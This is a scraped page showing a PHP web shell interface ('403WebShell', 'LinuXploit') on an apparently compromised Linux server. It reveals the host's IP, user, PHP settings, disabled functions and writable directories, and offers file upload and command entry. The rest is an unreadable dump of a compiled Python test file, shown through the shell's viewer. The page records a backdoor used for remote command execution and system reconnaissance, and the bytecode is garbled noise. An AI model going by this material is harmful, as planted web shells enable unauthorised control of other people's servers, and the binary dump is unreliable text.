Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_copyreg.cpython-310.pyc
o

�9j��@s�ddlZddlZddlmZGdd�d�ZGdd�de�ZGdd�de�ZGd	d
�d
e�ZGdd�de�Z	Gd
d�de�Z
Gdd�de�ZGdd�de�ZGdd�dej
�Zedkr`e��dSdS)�N)�ExtensionSaverc@�eZdZdS)�CN��__name__�
__module__�__qualname__�r	r	�(/usr/lib/python3.10/test/test_copyreg.pyr�rc@r)�WithoutSlotsNrr	r	r	r
r
rrc@�eZdZdZdS)�WithWeakref)�__weakref__N�rrr�	__slots__r	r	r	r
r
�rc@r
)�WithPrivate��__spamNrr	r	r	r
rrrc@r
)� _WithLeadingUnderscoreAndPrivaterNrr	r	r	r
rrrc@r
)�___rNrr	r	r	r
rrrc@r
)�WithSingleString�spamNrr	r	r	r
rrrc@r
)�
WithInherited)�eggsNrr	r	r	r
rrrc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�CopyRegTestCasecCs|�ttjtdd�dS)N)�assertRaises�	TypeError�copyreg�pickler��selfr	r	r
�
test_class"s
�zCopyRegTestCase.test_classcCs|�ttjtd�d�dS�N�znot a callable)rrrr �typer!r	r	r
�test_noncallable_reduce&s
�z'CopyRegTestCase.test_noncallable_reducecCs|�ttjtd�td�dSr$)rrrr r&�intr!r	r	r
�test_noncallable_constructor*s

�z,CopyRegTestCase.test_noncallable_constructorcCsddl}|�d|�d��dS)NrT)�copy�assertEqual)r"r*r	r	r
�	test_bool.szCopyRegTestCase.test_boolc	Cs�d\}}}t|�}z�|�ttj|||�t�|||�|�tj||f|k�|�tj|||fk�|�	|tj
�t�|||�|�ttj|||d�|�ttj|||d�|�ttj|dd�||�|�ttj|dd�||�|�ttj||dd�|�|�ttj||dd�|�|dtjvr�|�ttj|dd�|dd�|d�W|��n|��w|�	||ftj�dD]}t|�}zt�|||�t�|||�W|��q�|��wdD]}|�ttj|||�q�dS)N)zjunk1 z junk2iͫr%)r%i���)���rl)rr�
ValueErrorr�remove_extension�
add_extension�
assertTrue�_extension_registry�_inverted_registry�assertNotIn�_extension_cache�restore)r"�mod�func�code�er	r	r
�test_extension_registry2s^

�

�

�
�
�
�
�
��
��z'CopyRegTestCase.test_extension_registrycCs�|�t�t�g�|�t�t�g�dg}|�t�t�|�dg}|�t�t�|�|�t�t�dg�|�t�t�dg�ddg}|�	�t�t
�}|�	�|�||�dS)N�_WithPrivate__spam�&_WithLeadingUnderscoreAndPrivate__spamrrr)r+r�
_slotnamesrrrrrr�sortr)r"�expected�resultr	r	r
�test_slotnamesls�
zCopyRegTestCase.test_slotnamesN)	rrrr#r'r)r,r;rBr	r	r	r
r s:r�__main__)r�unittest�test.pickletesterrr�objectrrrrrrr�TestCaserr�mainr	r	r	r
�<module>s]�

Youez - 2016 - github.com/yon3zu
LinuXploit